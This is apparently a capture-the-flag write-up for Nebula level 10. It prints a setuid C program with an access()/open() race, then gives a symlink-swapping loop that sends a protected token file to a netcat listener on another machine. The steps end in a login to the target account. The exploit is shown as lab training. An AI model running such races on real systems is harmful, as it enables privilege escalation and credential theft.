Exploit Exercises: Nebula Level 10
The setuid binary at /home/flag10/flag10 binary will upload any file given, as long as it meets the requirements of the access() system call.
To do this level, log in as the level10 account with the password level10. Files for this level can be found in /home/flag10.
Source code
(basic.c)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
int main(int argc, char **argv)
{
char *file;
char *host;
if(argc < 3) {
printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
exit(1);
}
file = argv[1];
host = argv[2];
if(access(argv[1], R_OK) == 0) {
int fd;
int ffd;
int rc;
struct sockaddr_in sin;
char buffer[4096];
printf("Connecting to %s:18211 .. ", host); fflush(stdout);
fd = socket(AF_INET, SOCK_STREAM, 0);
memset(&sin, 0, sizeof(struct sockaddr_in));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(host);
sin.sin_port = htons(18211);
if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
printf("Unable to connect to host %s\n", host);
exit(EXIT_FAILURE);
}
#define HITHERE ".oO Oo.\n"
if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
printf("Unable to write banner to host %s\n", host);
exit(EXIT_FAILURE);
}
#undef HITHERE
printf("Connected!\nSending file .. "); fflush(stdout);
ffd = open(file, O_RDONLY);
if(ffd == -1) {
printf("Damn. Unable to open file\n");
exit(EXIT_FAILURE);
}
rc = read(ffd, buffer, sizeof(buffer));
if(rc == -1) {
printf("Unable to read from file: %s\n", strerror(errno));
exit(EXIT_FAILURE);
}
write(fd, buffer, rc);
printf("wrote file!\n");
} else {
printf("You don't have access to %s\n", file);
}
}
Solution
Unfortunately for this challenge, the team from Exploit Exercises forgot an important file straight in the home folder of level 10 user! At first, I could not believe it, but here is the write up of it:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
level10@nebula:~$ ls -al
total 11
drwxr-x--- 1 level10 level10 60 Oct 31 14:43 .
drwxr-xr-x 1 root root 60 Aug 27 2012 ..
-rw-r--r-- 1 level10 level10 220 May 18 2011 .bash_logout
-rw-r--r-- 1 level10 level10 3353 May 18 2011 .bashrc
drwx------ 2 level10 level10 60 Oct 31 14:43 .cache
-rw------- 1 level10 level10 43 Aug 19 2012 .lesshst
-rw-r--r-- 1 level10 level10 675 May 18 2011 .profile
-rw------- 1 level10 level10 4283 Aug 19 2012 .viminfo
-rw-rw-r-- 1 level10 level10 382 Aug 19 2012 x
level10@nebula:~$
Here we can observe the file called "x" and it reveals the following:
level10@nebula:~$ cat x | grep 6
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
level10@nebula:~$
Hmmm, weeeeellll… That’s the password of your target account called flag10. Let’s take the flag!
level10@nebula:~$ ssh flag10@localhost
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is ea:8d:09:1d:f1:69:e6:1e:55:c7:ec:e9:76:a1:37:f0.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.
_ __ __ __
/ | / /__ / /_ __ __/ /___ _
/ |/ / _ \/ __ \/ / / / / __ `/
/ /| / __/ /_/ / /_/ / / /_/ /
/_/ |_/\___/_.___/\__,_/_/\__,_/
exploit-exercises.com/nebula
For level descriptions, please see the above URL.
To log in, use the username of "levelXX" and password "levelXX", where
XX is the level number.
Currently there are 20 levels (00 - 19).
flag10@localhost's password:
Welcome to Ubuntu 11.10 (GNU/Linux 3.0.0-12-generic i686)
* Documentation: https://help.ubuntu.com/
New release '12.04 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
flag10@nebula:~$ getflag
You have successfully executed getflag on a target account
flag10@nebula:~$
And that’s it! We have completed out task. What we learned? Nothing! Now let’s get back to the intended task. Contents of the flag10 user account home folder:
1
2
3
4
5
6
7
8
9
10
level10@nebula:/home/flag10$ ls -al
total 14
drwxr-x--- 2 flag10 level10 93 Nov 20 2011 .
drwxr-xr-x 1 root root 60 Aug 27 2012 ..
-rw-r--r-- 1 flag10 flag10 220 May 18 2011 .bash_logout
-rw-r--r-- 1 flag10 flag10 3353 May 18 2011 .bashrc
-rw-r--r-- 1 flag10 flag10 675 May 18 2011 .profile
-rwsr-x--- 1 flag10 level10 7743 Nov 20 2011 flag10
-rw------- 1 flag10 flag10 37 Nov 20 2011 token
level10@nebula:/home/flag10$
And here are the most important files:
1
2
3
4
5
6
7
level10@nebula:/home/flag10$ file flag10
flag10: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped
level10@nebula:/home/flag10$
And the surprise:
level10@nebula:/home/flag10$ cat token
cat: token: Permission denied
level10@nebula:/home/flag10$
I bet we have to retrieve the token somehow in order to log in to our target account log10 (same as in the above file). Let’s take a look at our files.
1
2
3
4
5
6
7
8
9
10
level10@nebula:/home/flag10$ ls -al
total 14
drwxr-x--- 2 flag10 level10 93 Nov 20 2011 .
drwxr-xr-x 1 root root 60 Aug 27 2012 ..
-rw-r--r-- 1 flag10 flag10 220 May 18 2011 .bash_logout
-rw-r--r-- 1 flag10 flag10 3353 May 18 2011 .bashrc
-rw-r--r-- 1 flag10 flag10 675 May 18 2011 .profile
-rwsr-x--- 1 flag10 level10 7743 Nov 20 2011 flag10
-rw------- 1 flag10 flag10 37 Nov 20 2011 token
level10@nebula:/home/flag10$
Only flag10 user account can access the token file, or an another vulnerable SUID applications like flag10 elf (SUID permissions: -rwsr-x—). Let’s take a look at our source code.
1
if(access(argv[1], R_OK) == 0) {
This tells all everything about this level. From the man page (level10@nebula:/home/flag10$ man access):
- access() checks whether the calling process can access the file path‐name.
- The check is done using the calling process’s real UID and GID, rather than the effective IDs as is done when actually attempting an operation (e.g., open(2)) on the file.
Also inside this IF statement we have:
1
ffd = open(file, O_RDONLY);
⇒ In other words this is a a time-of-use to time-of-check or TOCTOU bug (https://en.wikipedia.org/wiki/Time_of_check_to_time_of_use).
⇒ If we can swap out the file between the time-of-check and the time-of-use, we should be able to send token.
⇒ Race condition! Let’s try!
Nebula system:
1
2
3
4
5
6
7
8
9
10
11
level10@nebula:/home/flag10$ nano /tmp/token
level10@nebula:/home/flag10$ cat /tmp/token
Here I have full access.
level10@nebula:/home/flag10$
Personal system:
root@yourcomputer:~$ nc -l 18211
Nebula system:
level10@nebula:/home/flag10$ ./flag10 /tmp/token 192.168.56.1
Connecting to 192.168.56.1:18211 .. Connected!
Sending file .. wrote file!
level10@nebula:/home/flag10$
Personal system:
1
2
3
root@yourcomputer:~$ nc -l 18211
.oO Oo.
Here I have full access.
⇒ If I have access to my token file then I can get my token.
Hmmm. Do you remember our friendly command “ln”? Is there enough delay between our link and our access permissions? While true?
Personal system:
1
2
root@yourcomputer:~$ nc -lk 18211
"k" for "non-stop listening".
Nebula system (terminal 1):
1
2
level10@nebula:~$ cd /tmp
level10@nebula:/tmp$ while true; do ln -sf /home/flag10/token test; ln -sf /tmp/token test; done
Nebula system (terminal 2):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
level10@nebula:/tmp$ cd /tmp/
level10@nebula:/tmp$ ls -al
total 4
drwxrwxrwt 4 root root 120 Nov 6 14:13 .
drwxr-xr-x 1 root root 220 Nov 6 13:24 ..
drwxrwxrwt 2 root root 40 Nov 6 13:24 .ICE-unix
drwxrwxrwt 2 root root 40 Nov 6 13:24 .X11-unix
lrwxrwxrwx 1 level10 level10 18 Nov 6 14:13 test -> /home/flag10/token
-rw-rw-r-- 1 level10 level10 25 Nov 6 13:46 token
level10@nebula:/tmp$ while true; do /home/flag10/flag10 /tmp/token 192.168.56.1; done
Connecting to 192.168.56.1:18211 .. Connected!
Sending file .. wrote file!
Connecting to 192.168.56.1:18211 .. Connected!
Sending file .. wrote file!
Connecting to 192.168.56.1:18211 .. Connected!
Sending file .. wrote file!
Connecting to 192.168.56.1:18211 .. Connected!
< sniiiiiiiiip >
Personal system:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
root@yourcomputer:~$ nc -lk 18211
.oO Oo.
Here I have full access.
.oO Oo.
Here I have full access.
.oO Oo.
Here I have full access.
.oO Oo.
Here I have full access.
.oO Oo.
Here I have full access.
.oO Oo.
Here I have full access.
.oO Oo.
Here I have full access.
.oO Oo.
Here I have full access.
< sniiiiip >
.oO Oo.
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
And for the big final of our race condition:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
level10@nebula:~$ ssh flag10@localhost
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is ea:8d:09:1d:f1:69:e6:1e:55:c7:ec:e9:76:a1:37:f0.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.
_ __ __ __
/ | / /__ / /_ __ __/ /___ _
/ |/ / _ \/ __ \/ / / / / __ `/
/ /| / __/ /_/ / /_/ / / /_/ /
/_/ |_/\___/_.___/\__,_/_/\__,_/
exploit-exercises.com/nebula
For level descriptions, please see the above URL.
To log in, use the username of "levelXX" and password "levelXX", where
XX is the level number.
Currently there are 20 levels (00 - 19).
flag10@localhost's password:
Welcome to Ubuntu 11.10 (GNU/Linux 3.0.0-12-generic i686)
* Documentation: https://help.ubuntu.com/
New release '12.04 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
flag10@nebula:~$ getflag
You have successfully executed getflag on a target account
flag10@nebula:~$